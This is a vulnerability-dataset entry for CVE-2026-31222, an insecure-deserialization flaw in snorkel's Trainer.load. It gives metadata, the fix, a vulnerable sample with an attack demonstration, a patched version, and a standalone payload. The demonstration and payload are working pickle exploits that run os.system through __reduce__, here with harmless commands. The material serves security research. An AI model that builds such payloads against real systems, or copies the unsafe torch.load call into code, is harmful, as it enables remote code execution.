VAITP Dataset

← Back to the dataset

CVE-2026-31222

Snorkel's Trainer.load allows RCE via insecure deserialization of models.

  • CVSS 8.8
  • CWE-502
  • Input Validation and Sanitization
  • Remote

The snorkel library thru v0.10.0 contains an insecure deserialization vulnerability (CWE-502) in the Trainer.load() method of the Trainer class. The method loads model checkpoint files using torch.load() without enabling the security-restrictive weights_only=True parameter. This default behavior allows the deserialization of arbitrary Python objects via the Pickle module. A remote attacker can exploit this by providing a maliciously crafted model file, leading to arbitrary code execution on the victim's system when the file is loaded via the vulnerable method.

CVSS base score
8.8
Published
2026-05-12
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Timing/Serialization
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
snorkel
Fixed by upgrading
Yes

Solution

Upgrade snorkel to version 0.10.1 or later.

Vulnerable code sample

import torch
import os

# Malicious payload class that executes an OS command upon deserialization.
class ArbitraryCodeExecutor:
    def __reduce__(self):
        # This special method tells Python's pickle module how to reconstruct the object.
        # We can instruct it to call any function, in this case, os.system().
        command = ('echo "VULNERABILITY DEMONSTRATED: Arbitrary code was executed" > exploited.txt')
        return (os.system, (command,))

# Simplified representation of the vulnerable snorkel.classification.Trainer class
# as it existed in versions up to and including v0.10.0.
class Trainer:
    def load(self, model_path: str):
        """
        Vulnerable load method.
        It uses torch.load() without the security-restrictive `weights_only=True`
        parameter, allowing the deserialization of arbitrary Python objects.
        """
        # THE VULNERABLE CALL:
        # torch.load uses Python's pickle module by default, which is insecure
        # when loading data from an untrusted source.
        print(f"[*] Loading model from '{model_path}' using vulnerable method...")
        deserialized_object = torch.load(model_path)
        print("[*] Deserialization complete. The payload would have executed by now.")
        # In a real application, the code would proceed to load model weights
        # from the 'deserialized_object', but the damage is already done.


# --- Attack Demonstration ---

# 1. An attacker creates a malicious model file containing the payload.
malicious_file_path = "malicious_model.pth"
attacker_payload = ArbitraryCodeExecutor()

print(f"[+] Attacker crafting malicious payload and saving to '{malicious_file_path}'...")
torch.save(attacker_payload, malicious_file_path)

# 2. A victim uses the vulnerable Trainer class to load the attacker's file.
victim_trainer = Trainer()
victim_trainer.load(malicious_file_path)

# 3. Check if the exploit was successful by looking for the created file.
if os.path.exists("exploited.txt"):
    print("\n[!!!] SUCCESS: The file 'exploited.txt' was created on the system.")
    with open("exploited.txt", "r") as f:
        print(f"File content: {f.read().strip()}")
    # Clean up created files
    os.remove("exploited.txt")
    os.remove(malicious_file_path)
else:
    print("\n[---] FAILURE: The exploit did not create the expected file.")

Patched code sample

import torch
import torch.nn as nn
from pathlib import Path
from typing import Union


# This is a representative example of a class structure similar to
# snorkel.classification.Trainer. The key change is in the load() method.
class FixedTrainer:
    """
    A representative class demonstrating the fix for the insecure
    deserialization vulnerability.
    """

    def __init__(self) -> None:
        # A placeholder model for demonstration purposes
        self.model = nn.Linear(10, 1)

    def load(self, model_path: Union[str, Path]) -> None:
        """
        Loads a model checkpoint from a file path.

        The fix is the addition of the `weights_only=True` parameter to the
        `torch.load()` call. This ensures that only the model's tensors
        (weights, biases, etc.) are deserialized, preventing the execution
        of arbitrary code that could be embedded in a malicious pickle object.
        """
        # The corrected, secure way to load a model checkpoint
        model_state_dict = torch.load(model_path, weights_only=True)
        self.model.load_state_dict(model_state_dict)
        print(f"Securely loaded model state from {model_path}")

Payload

import os
import torch

class Exploit:
    def __reduce__(self):
        # This command will be executed on the victim's system.
        # Example for Linux/macOS:
        cmd = 'touch /tmp/pwned'
        # Example for Windows:
        # cmd = 'calc.exe'
        return (os.system, (cmd,))

# Create the malicious model checkpoint file
torch.save(Exploit(), 'malicious_checkpoint.pt')

Cite this entry

@misc{vaitp:cve202631222,
  title        = {{Snorkel's Trainer.load allows RCE via insecure deserialization of models.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-31222},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31222/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::